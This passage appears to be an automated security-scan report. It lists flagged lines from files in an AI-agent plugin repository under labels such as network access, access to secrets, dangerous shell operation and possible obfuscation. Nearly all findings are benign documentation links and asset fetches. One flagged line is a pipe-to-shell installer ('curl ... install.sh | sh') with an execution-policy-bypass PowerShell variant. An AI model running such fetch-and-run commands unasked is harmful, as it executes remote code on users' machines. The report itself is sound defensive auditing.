  • Network accessline 159
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 160
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/references/lint.md

  • Dangerous shell operationline 48
    # rm wiki/{category}/{slug}.md

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/contextgraph.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/template_agent_workflow.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/__init__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/documents_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 27
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/graph_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/index_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/ontology_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/retrieval_engine.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/wiki_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 30
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/assets/eval_review.html

  • Dangerous shell operationline 81
    const rm = document.createElement("button");

harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/eval-viewer/generate_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 99
    const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click();   }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 100
    }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})       .then(()=>alert('Feedback saved. You can return to the assistant.'))
  • Network accessline 101
    fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 198
    with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd:         url = f"http://127.0.0.1:{port}/"
  • Network accessline 199
    url = f"http://127.0.0.1:{port}/"

harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/scripts/test_validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/scripts/validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/copilot-customization-authoring/skills/steno-mode/SKILL.md

  • Access to secretsline 50
    [Credential-related source omitted]

harness/claude-code/plugins/copilot-customization-authoring/skills/vardoger-analyze/SKILL.md

  • Network accessline 58
    If you do not have pipx, see https://pipx.pypa.io/stable/.
  • Network accessline 60
    Project page: https://github.com/dstrupl/vardoger
  • Network accessline 168
    - [pipx documentation](https://pipx.pypa.io/stable/)
  • Network accessline 169
    - [vardoger project](https://github.com/dstrupl/vardoger)

harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Copilot Primitives Maintainers"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/copilot-sdk/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk/SKILL.md

  • Network accessline 32
    1. **GitHub Copilot CLI** installed and authenticated ([Installation guide](https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli))
  • Network accessline 256
    - https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli

harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/claude-code/plugins/creative-media-tooling/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/references/extended-guide.md

  • Network accessline 821
    - [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`)
  • Network accessline 822
    - [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation

harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/SKILL.md

  • Network accessline 201
    - [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code)
  • Network accessline 202
    - [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects)
  • Network accessline 203
    - [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements)
  • Network accessline 204
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 205
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 206
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 207
    - [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29)
  • Network accessline 208
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 209
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 210
    - [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 211
    - [Gui Command](https://wiki.freecad.org/Gui_Command)

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/geometry-and-shapes.md

  • Network accessline 7
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 8
    - [Part scripting](https://wiki.freecad.org/Part_scripting)
  • Network accessline 9
    - [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting)
  • Network accessline 10
    - [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting)
  • Network accessline 11
    - [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part)
  • Network accessline 12
    - [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting)
  • Network accessline 13
    - [Drawing API example](https://wiki.freecad.org/Drawing_API_example)
  • Network accessline 14
    - [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1)
  • Network accessline 15
    - [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2)
  • Network accessline 16
    - [Line drawing function](https://wiki.freecad.org/Line_drawing_function)

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/gui-and-interface.md

  • Network accessline 7
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 8
    - [Gui Command](https://wiki.freecad.org/Gui_Command)
  • Network accessline 9
    - [Define a command](https://wiki.freecad.org/Command)
  • Network accessline 10
    - [PySide](https://wiki.freecad.org/PySide)
  • Network accessline 11
    - [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples)
  • Network accessline 12
    - [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples)
  • Network accessline 13
    - [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples)
  • Network accessline 14
    - [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets)
  • Network accessline 15
    - [Interface creation](https://wiki.freecad.org/Interface_creation)
  • Network accessline 16
    - [Dialog creation](https://wiki.freecad.org/Dialog_creation)
  • Network accessline 17
    - [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets)
  • Network accessline 18
    - [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files)
  • Network accessline 19
    - [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors)
  • Network accessline 20
    - [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF)
  • Network accessline 21
    - [Qt Example](https://wiki.freecad.org/Qt_Example)
  • Network accessline 22
    - [3D view](https://wiki.freecad.org/3D_view)
  • Network accessline 23
    - [The Coin scenegraph](https://wiki.freecad.org/Scenegraph)
  • Network accessline 24
    - [Pivy](https://wiki.freecad.org/Pivy)

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/parametric-objects.md

  • Network accessline 7
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 8
    - [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I)
  • Network accessline 9
    - [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II)
  • Network accessline 10
    - [Scripted objects](https://wiki.freecad.org/Scripted_objects)
  • Network accessline 11
    - [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes)
  • Network accessline 12
    - [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration)
  • Network accessline 13
    - [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment)
  • Network accessline 14
    - [Viewprovider](https://wiki.freecad.org/Viewprovider)
  • Network accessline 15
    - [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view)
  • Network accessline 16
    - [Properties](https://wiki.freecad.org/Property)
  • Network accessline 17
    - [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList)
  • Network accessline 18
    - [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/scripting-fundamentals.md

  • Network accessline 7
    - [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction)
  • Network accessline 8
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 9
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 10
    - [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 11
    - [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros)
  • Network accessline 12
    - [Working with macros](https://wiki.freecad.org/Macros)
  • Network accessline 13
    - [Code snippets](https://wiki.freecad.org/Code_snippets)
  • Network accessline 14
    - [Debugging](https://wiki.freecad.org/Debugging)
  • Network accessline 15
    - [Profiling](https://wiki.freecad.org/Profiling)
  • Network accessline 16
    - [Python development environment](https://wiki.freecad.org/Python_Development_Environment)
  • Network accessline 17
    - [Extra python modules](https://wiki.freecad.org/Extra_python_modules)
  • Network accessline 18
    - [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library)
  • Network accessline 19
    - [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD)
  • Network accessline 20
    - [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui)
  • Network accessline 21
    - [Macro at startup](https://wiki.freecad.org/Macro_at_Startup)
  • Network accessline 22
    - [How to install macros](https://wiki.freecad.org/How_to_install_macros)
  • Network accessline 23
    - [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration)
  • Network accessline 24
    - [Quantity](https://wiki.freecad.org/Quantity)

harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/workbenches-and-advanced.md

  • Network accessline 7
    - [Workbench creation](https://wiki.freecad.org/Workbench_creation)
  • Network accessline 8
    - [Script tutorial](https://wiki.freecad.org/Scripts)
  • Network accessline 9
    - [Macros recipes](https://wiki.freecad.org/Macros_recipes)
  • Network accessline 10
    - [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python)
  • Network accessline 11
    - [Path scripting](https://wiki.freecad.org/Path_scripting)
  • Network accessline 12
    - [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example)
  • Network accessline 13
    - [Svg namespace](https://wiki.freecad.org/Svg_Namespace)
  • Network accessline 14
    - [Python](https://wiki.freecad.org/Python)
  • Network accessline 15
    - [PythonOCC](https://wiki.freecad.org/PythonOCC)

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/2d-maze-game.md

  • Network accessline 5
    **Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation)
  • Network accessline 6
    **Live demo:** [Cyber Orb](https://orb.enclavegames.com/)
  • Network accessline 7
    **Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/2d-platform-game.md

  • Network accessline 9
    **Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/gameBase-template-repo.md

  • Network accessline 5
    **Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase)
  • Network accessline 6
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)
  • Network accessline 8
    **Level editor integration:** [LDtk](https://ldtk.io)
  • Network accessline 228
    1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/)
  • Network accessline 229
    2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/)
  • Network accessline 230
    3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/)
  • Network accessline 235
    # Clone the repository git clone https://github.com/deepnight/gameBase.git my-game
  • Network accessline 236
    git clone https://github.com/deepnight/gameBase.git my-game

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/paddle-game-template.md

  • Network accessline 9
    **Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/simple-2d-engine.md

  • Network accessline 5
    **Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 6
    - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 7
    - [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/)
  • Network accessline 9
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/3d-web-games.md

  • Network accessline 5
    Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web)
  • Network accessline 99
    </head>   <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 100
    <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>     <script>
  • Network accessline 101
    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 197
    - Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc
  • Network accessline 199
    - Consult [Three.js documentation](https://threejs.org/docs/) for the full API.
  • Network accessline 210
    <script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script>
  • Network accessline 275
    - `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo
  • Network accessline 277
    - Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing.
  • Network accessline 291
    <meta charset="utf-8" />     <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 292
    <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>     <style>
  • Network accessline 293
    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 394
    - Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 395
    - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 403
    - PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation](
  • Network accessline 405
    - Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations.
  • Network accessline 497
    - Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. 
  • Network accessline 498
    - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL
  • Network accessline 499
    - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration.
  • Network accessline 732
    - **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti
  • Network accessline 733
    - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content).
  • Network accessline 752
    - Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs
  • Network accessline 754
    - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/algorithms.md

  • Network accessline 10
    > Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/
  • Network accessline 118
    > Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93
  • Network accessline 243
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/
  • Network accessline 354
    > Source: https://winter.dev/articles/physics-engine
  • Network accessline 551
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/basics.md

  • Network accessline 5
    Sources: - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 6
    - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 7
    - https://developer.mozilla.org/en-US/docs/Games/Anatomy

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/game-control-mechanisms.md

  • Network accessline 507
    <script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/game-engine-core-principles.md

  • Network accessline 5
    Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/
  • Network accessline 555
    class WebFileSystem extends FileSystem {   async readFile(path) {     const response = await fetch(path);
  • Network accessline 556
    async readFile(path) {     const response = await fetch(path);     return response.arrayBuffer();
  • Network accessline 557
    const response = await fetch(path);

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/techniques.md

  • Network accessline 9
    **Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts)
  • Network accessline 67
    **Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance)
  • Network accessline 143
    **Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels)
  • Network accessline 178
    - The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu
  • Network accessline 180
    - Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API).
  • Network accessline 186
    **Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games)
  • Network accessline 271
    async function getFile(filepath) {   const response = await fetch(filepath);
  • Network accessline 272
    const response = await fetch(filepath);
  • Network accessline 355
    **Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection)
  • Network accessline 526
    **Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps)
  • Network accessline 618
    **Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API)
  • Network accessline 801
    **Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/terminology.md

  • Network accessline 5
    Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/

harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/web-apis.md

  • Network accessline 595
    <!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 596
    <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 757
    // Load and play a sound effect async function playSFX(url) {   const response = await fetch(url);
  • Network accessline 758
    async function playSFX(url) {   const response = await fetch(url);   const arrayBuffer = await response.arrayBuffer();
  • Network accessline 759
    const response = await fetch(url);
  • Network accessline 1219
    - **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ
  • Network accessline 1221
    - **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth.
  • Network accessline 1394
    For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe

harness/claude-code/plugins/creative-media-tooling/skills/image-manipulation-image-magick/SKILL.md

  • Dangerous shell operationline 82
    echo "  Ubuntu/Debian: sudo apt install imagemagick"

harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture/SKILL.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 26
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 32
    | Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Network accessline 33
    | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. |
  • Network accessline 34
    | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 49
    node scripts/latchshot.mjs demo \   --url 'https://example.com' \
  • Network accessline 50
    --url 'https://example.com' \
  • Network accessline 54
    The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit
  • Network accessline 67
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 68
    --url 'https://example.com' \
  • Network accessline 75
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 76
    --url 'https://example.com' \
  • Network accessline 85
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 86
    --url 'https://example.com' \
  • Access to secretsline 142
    [Credential-related source omitted]
  • Network accessline 150
    - [Latchshot service origin](https://latchshot.fly.dev)
  • Network accessline 151
    - [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)

harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture/scripts/latchshot.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 9
    const ORIGIN = 'https://latchshot.fly.dev';
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 106
    Examples:   node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 107
    node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 108
    node scripts/latchshot.mjs capture --url https://example.com --output page.png
  • Network accessline 109
    node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]

harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/SKILL.md

  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 67
    [Credential-related source omitted]
  • Network accessline 68
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Dangerous shell operationline 69
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 69
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 70
    | `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. |
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 101
    - [uv installer for macOS/Linux](https://astral.sh/uv/install.sh)
  • Network accessline 102
    - [uv installer for Windows](https://astral.sh/uv/install.ps1)
  • Network accessline 103
    - [OpenRouter keys](https://openrouter.ai/settings/keys)

harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/scripts/generate_image.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Possible obfuscationline 83
    raw = base64.b64decode(encoded)
  • Network accessline 135
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Network accessline 157
